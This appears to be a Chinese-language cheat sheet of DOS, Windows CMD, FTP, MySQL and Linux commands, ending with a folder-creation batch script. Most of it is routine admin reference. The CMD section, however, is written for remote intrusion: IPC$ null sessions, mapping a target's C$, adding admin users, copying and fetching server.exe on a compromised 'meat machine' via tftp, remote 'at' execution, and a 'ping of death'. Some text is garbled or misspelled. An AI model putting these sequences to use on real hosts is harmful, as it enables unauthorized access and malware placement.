显示所有当前的 TCP/IP 网络配置值、刷新动态主机配置协议 (DHCP) 和域名系统 (DNS) 设置。使用不带参数的 ipconfig 可以显示所有适配器的 IP 地址、子网掩码、默认网关。 
/all 
显示所有适配器的完整 TCP/IP 配置信息。 
ipconfig 等价于 winipcfg，后者在ME、98 和 95 上可用。尽管 Windows XP 没有提供象 winipcfg 命令一样的图形化界面，但可以使用“网络连接”查看和更新 IP 地址。要做到这一点，请打开 网络连接，右键单击某一网络连接，单击“状态”，然后单击“支持”选项卡。 
该命令最适用于配置为自动获取 IP 地址的计算机。它使用户可以确定哪些 TCP/IP 配置值是由 DHCP、自动专用 IP 地址 (APIPA) 和其他配置配置的。 
3.7、md
创建目录或子目录 
3.8、Move
将一个或多个文件从一个目录移动到指定的目录。 
3.9、Nbtstat
显示本地计算机和远程计算机的基于 TCP/IP (NetBT) 协议的 NetBIOS 统计资料、NetBIOS 名称表和 NetBIOS 名称缓存。Nbtstat 可以刷新 NetBIOS 名称缓存和注册的 Windows Internet 名称服务 (WINS) 名称。使用不带参数的 nbtstat 显示帮助。Nbtstat 命令行参数区分大小写。 
-a remotename 
显示远程计算机的 NetBIOS 名称表，其中，RemoteName 是远程计算机的 NetBIOS 计算机名称。 
-A IPAddress 
显示远程计算机的 NetBIOS 名称表，其名称由远程计算机的 IP 地址指定（以小数点分隔）。 
3.10、Netstat
显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息（对于 IP、ICMP、TCP 和 UDP 协议）以及 IPv6 统计信息（对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议）。使用时如果不带参数，netstat 显示活动的 TCP 连接。 
-a 
显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 U** 端口。 
3.11、*ing
通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数，ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。 
-t 
指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息，请按 CTRL-BREAK。要中断并退出 ping，请按 CTRL-C。 
-lSize 
指定发送的回响请求消息中“数据”字段的长度（以字节表示）。默认值为 32。size 的最大值是 65,527。 
3.12、Rename (Ren)
更改文件的名称。 
例如 ren *.abc *.cba 
3.13、Set
显示、设置或删除环境变量。如果没有任何参数，set 命令将显示当前环境设置。 
3.14、Shutdown
允许您关闭或重新启动本地或远程计算机。如果没有使用参数，shutdown 将注销当前用户。 
-m ComputerName 
指定要关闭的计算机。 
-t xx 
将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。 
-l 
注销当前用户，这是默认设置。-m ComputerName 优先。 
-s 
关闭本地计算机。 
-r 
关闭之后重新启动。 
-a 
中止关闭。除了 -l 和 ComputerName 外，系统将忽略其它参数。在超时期间，您只可以使用 -a。 
3.15、System File Checker (sfc)
win下才有，在重新启动计算机后扫描和验证所有受保护的系统文件。 
/scannow 
立即扫描所有受保护的系统文件。 
/scanonce 
一次扫描所有受保护的系统文件。 
/purgecache 
立即清除“Windows 文件保护”文件高速缓存，并扫描所有受保护的系统文件。 
/cachesize=x 
设置“Windows 文件保护”文件高速缓存的大小，以 MB 为单位。 
3,16、type
显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件 
3.17、Tree
图像化显示路径或驱动器中磁盘的目录结构。 
3.18、Xcopy
复制文件和目录，包括子目录。 
/s 
复制非空的目录和子目录。如果省略 /s，xcopy 将在一个目录中工作。 
/e 
复制所有子目录，包括空目录。 
3.19、copy
将一个或多个文件从一个位置复制到其他位置 
3.20、del
删除指定文件。 
ftp和bat批命令和net和telnet由于子命令太多，这里不说了，不过这几个都是常用到的。
不常用命令
append 设置非执行文件路径 
debug 随机调试程序 
diskcomp磁盘比较 
expand 还原DOS文件 
fasthelp 快速显示帮助信息 
fc 文件比较 
interink 启动服务器 
intersvr 启动客户机 
qbasic Basic集成环境 　　
setver 设置版本 
share 文件共享 
subst 路径替换 
tree 列目录树 
unformat 恢复已格式化的磁盘 
vsafe 防病毒 
ver 显示DOS版本号 
vol 显示磁盘卷标号 
ctty 改变控制设备 
DOS常用命令详解 
dir 列文件名 deltree 删除目录树 cls 清屏 cd 改变当前目录 
copy 拷贝文件 diskcopy 复制磁盘 del 删除文件 format 格式化磁盘 
edit 文本编辑 mem 查看内存状况 md 建立子目录 move 移动文件、改目录名 
more 分屏显示 type 显示文件内容 rd 删除目录 
sys 制作DOS系统盘 
ren 改变文件名 xcopy 拷贝目录与文件 chkdsk 检查磁盘 attrib 设置文件属性 
fdisk 硬盘分区 date 显示及修改日期 label 设置卷标号 defrag 磁盘碎片整理 
msd 系统检测 path 设置搜寻目录 share 文件共享 memmaker内存优化管理 
help 帮助 restore 恢复备份文件 set 设置环境变量 time 显示及修改时间 
tree 列目录树 debug 随机调试程序 doskey 重新调用DOS命令 prempt 设置提示符 undelete恢复被删的文件 scandisk检测、修理磁盘
diskcomp磁盘比较 append 设置非执行文件路径 
expand 还原DOS文件 fasthelp快速显示帮助信息 
fc 文件比较 interink启动服务器 
setver 设置版本 intersvr启动客户机 
subst 路径替换 qbasic Basic集成环境 
vsafe 防病毒 unformat恢复已格式化的磁盘 
ver 显示DOS版本号 smartdrv设置磁盘加速器 
vol 显示磁盘卷标号 lh 将程序装入高端内存 
ctty 改变控制设备 emm386 扩展内存管理 
CMD命令
net use [url=file://ip/ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 
net use [url=file://ip/ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 
net use h: [url=file://ip/c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: 
net use h: [url=file://ip/c$]\\ip\c$[/url] 登陆后映射对方C：到本地为H: 
net use [url=file://ip/ipc$]\\ip\ipc$[/url] /del 删除IPC链接 
net use h: /del 删除映射对方到本地的为H:的映射 
net user 用户名 密码 /add 建立用户
net user 用户名/del 删除用户 
net user guest /active:yes 激活guest用户 
net user 查看有哪些用户 
net user 帐户名 查看帐户的属性 
net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 
net start 查看开启了哪些服务 
net start 服务名 开启服务；(如:net start telnet， net start schedule) 
net stop 服务名 停止某服务 
net time \\目标ip 查看对方时间 
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 
net view 查看本地局域网内开启了哪些共享 
net view [url=file://ip/]\\ip[/url] 查看对方局域网内开启了哪些共享 
net config 显示系统网络设置 
net logoff 断开连接的共享 
net pause 服务名 暂停某服务 
net send ip "文本信息" 向对方发信息 
net ver 局域网内正在使用的网络连接类型和信息 
net share 查看本地开启的共享 
net share ipc$ 开启ipc$共享 
net share ipc$ /del 删除ipc$共享 
net share c$ /del 删除C：共享 
net user guest 12345 用guest用户登陆后用将密码改为12345 
net password 密码 更改系统登陆密码 
netstat -a 查看开启了哪些端口,常用netstat -an 
netstat -n 查看端口的网络连接情况，常用netstat -an 
netstat -v 查看正在进行的工作 
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） 
netstat -s 查看正在使用的所有协议使用情况 
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。 
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。 
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息 
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) 
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） 
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令 
at id号 开启已注册的某个计划任务 
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 
at id号 /delete 停止某个已注册的计划任务 
at 查看所有的计划任务 
at [url=file://ip/]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 
finger username @host 查看最近有哪些用户登陆 
telnet ip 端口 远和登陆服务器,默认端口为23 
open ip 连接到IP（属telnet登陆后的命令） 
telnet 在本机上直接键入telnet 将进入本机的telnet 
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 
copy c:\srv.exe [url=file://ip/***$]\\ip\***$[/url] 复制本地c:\srv.exe到对方的***下 
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 
copy [url=file://ip/***$/svv.exe]\\ip\***$\svv.exe[/url] c:\ 或:copy\\ip\***$\*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： 
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机 
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) 
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface 
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 
mem 查看cpu使用情况 
attrib 文件名(目录名) 查看某文件（目录）的属性 
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用+则是添加为某属性 
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间 
set 指定环境变量名称=要指派给变量的字符 设置环境变量 
set 显示当前所有的环境变量 
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 
pause 暂停批处理程序，并显示出：请按任意键继续.... 
if 在批处理程序中执行条件处理（更多说明见if命令及变量） 
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签） 
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） 
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） 
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 
echo 信息 在屏幕上显示出信息 
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 
find 文件名 查找某文件 
title 标题名字 更改CMD窗口标题名字 
color 颜色值 设置cmd控制台前景和背景颜色；0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ ) 
ver 在DOS窗口下显示版本信息 
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） 
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS 
md 目录名 创建目录 
replace 源文件 要替换文件的目录 替换文件 
ren 原文件名 新文件名 重命名文件名 
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 
type 文件名 显示文本文件的内容 
more 文件名 逐屏显示输出文件 
doskey 要锁定的命令=字符 
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= 
taskmgr 调出任务管理器 
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe 
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? 
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； 
regedit /e 注册表文件名 导出注册表 
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名erm 替换指定用户的访问权限；/G 用户名erm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。 
cacls 文件名 查看文件的访问用户权限列表 
REM 文本内容 在批处理文件中添加注解 
netsh 查看或更改本地网络配置情况 
IIS服务命令： 
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） 
iisreset /start或stop 启动（停止）所有Internet服务 
iisreset /restart 停止然后重新启动所有Internet服务 
iisreset /status 显示所有Internet服务状态 
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 
FTP 命令： (后面有详细说明内容) 
ftp的命令行格式为: 
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。 
－d 使用调试方式。 
－n 限制ftp的自动登录,即不使用.netrc文件。 
－g 取消全局文件名。 
help [命令] 或 ？[命令] 查看命令说明 
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 
pwd 列出当前远端主机目录 
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 
mget [remote-files] 从远端主机接收一批文件至本地主机 
mput local-files 将本地主机中一批文件传送至远端主机 
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 
ascii 设定以ASCII方式传送文件(缺省值) 
bin 或 image 设定以二进制方式传送文件 
bell 每完成一次文件传送,报警提示 
cdup 返回上一级目录 
close 中断与远程服务器的ftp会话(与open对应) 
open host[port] 建立指定ftp服务器连接,可指定连接端口 
delete 删除远端主机中的文件 
mdelete [remote-files] 删除一批文件 
mkdir directory-name 在远端主机中建立目录 
rename [from] [to] 改变远端主机中的文件名 
rmdir directory-name 删除远端主机中的目录 
status 显示当前FTP的状态 
system 显示远端主机系统类型 
user user-name [password] [account] 重新以别的用户名登录远端主机 
open host [port] 重新建立一个新的连接 
prompt 交互提示模式 
macdef 定义宏命令 
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 
chmod 改变远端主机的文件权限 
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 
cd remote－dir 进入远程主机目录 
cdup 进入远程主机目录的父目录 
! 在本地机中执行交互shell，exit回到ftp环境,如!ls*.zip 
MYSQL 命令： 
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。 
（例：mysql -h110.110.110.110 -Uroot -P123456 
注:u与root可以不用加空格，其它也一样） 
exit 退出MYSQL 
mysql*** -u用户名 -p旧密码 password 新密码 修改密码 
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） 
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 
use mysql； 
show tables; 显示库中的数据表 
describe 表名; 显示数据表的结构 
create database 库名; 建库 
use 库名； 
create table 表名 (字段设定列表)； 建表 
drop database 库名; 
drop table 表名； 删库和删表 
delete from 表名; 将表中记录清空 
select * from 表名; 显示表中的记录 
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的[url=file://mysql//bin]\\mysql\\bin[/url]目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 
win2003系统下新增命令（实用部份）： 
shutdown /参数 关闭或重启本地或远程主机。 
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。 
例：shutdown /r /t 0 立即重启本地主机（无延时） 
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。 
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。 
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。 
Linux系统下基本命令： 要区分大小写 
uname 显示版本信息（同win2K的 ver） 
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir） 
pwd 查询当前所在的目录位置 
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。 
cat 文件名 查看文件内容 
cat >abc.txt 往abc.txt文件中写上内容。 
more 文件名 以一页一页的方式显示一个文本文件。 
cp 复制文件 
mv 移动文件 
rm 文件名 删除文件，rm -a 目录名删除目录及子目录 
mkdir 目录名 建立目录 
rmdir 删除子目录，目录内没有文档。 
chmod 设定档案或目录的存取权限 
grep 在档案中查找字符串 
diff 档案文件比较 
find 档案搜寻 
date 现在的日期、时间 
who 查询目前和你使用同一台机器的人以及Login时间地点 
w 查询目前上机者的详细资料 
whoami 查看自己的帐号名称 
groups 查看某人的Group 
passwd 更改密码 
history 查看自己下过的命令 
ps 显示进程状态 
kill 停止某进程 
gcc 黑客通常用它来编译C语言写的文件 
su 权限转换为指定使用者 
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。 
ftp ftp连接上某服务器（同win2K） 
附：批处理命令与变量[1]
1：for命令及变量 基本格式： 
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %
应用示例
（批处理）
echo on　　set LOG_HOME=D:\home\path\logs　　set DATA_HOME=D:\home\path\data　　set DATA_BACKUP_HOME=D:\home\path\data\backup　　set DATA_PROC_SUBFOLDER=err,processed,work　　set COUNTRY_LIST=sg,my　　set JOB_TYPE_EOD=eod　　set JOB_TYPE_IOD=iod　　set BATCH_JOB_LIST_EOD=eodtlm,eodfxc　　set BATCH_JOB_LIST_IOD=iodtlm,iodfxc　　set APPLICATION_LIST=webfitas,fxretail　　set APP_LIST_OTHER=saa,midas　　set MSG_TYPE_LIST=mt940,mt942　　echo "start to created folder"　　for %%C in (%COUNTRY_LIST%) do (　　echo "country code:" %%C　　for %%B in (%BATCH_JOB_LIST_EOD%) do (　　echo "Batch Job Name:" %%B　　for %%A in (%APPLICATION_LIST%) do (　　echo "Application Id:" %%A　　for %%S in (%DATA_PROC_SUBFOLDER%) do (　　echo "Sub-folder:" %%S　　mkdir %DATA_HOME%\%%C\%JOB_TYPE_EOD%\%%B\%%A\%%S　　)　　)　　)　　for %%B in (%BATCH_JOB_LIST_IOD%) do (　　echo "Batch Job Name:" %%B　　for %%A in (%APPLICATION_LIST%) do (　　echo "Application Id:" %%A　　for %%S in (%DATA_PROC_SUBFOLDER%) do (　　echo "Sub-folder:" %%S　　mkdir %DATA_HOME%\%%C\%JOB_TYPE_IOD%\%%B\%%A\%%S　　)　　)　　)　　for %%A in (%APPLICATION_LIST%) do (　　echo "Application Id:" %%A　　mkdir %LOG_HOME%\%%C\%JOB_TYPE_EOD%\%%A\　　)　　for %%A in (%APPLICATION_LIST%) do (　　echo "Application Id:" %%A　　mkdir %LOG_HOME%\%%C\%JOB_TYPE_IOD%\%%A\　　)　　for %%M in (%MSG_TYPE_LIST%) do (　　echo "Message Type:" %%M　　for %%T in (%APP_LIST_OTHER%) do (　　echo "Internation and Third Party Application Id:" %%T　　mkdir %DATA_BACKUP_HOME%\online\%%C\%%T\%%M　　)　　)　　)　　echo off　　pause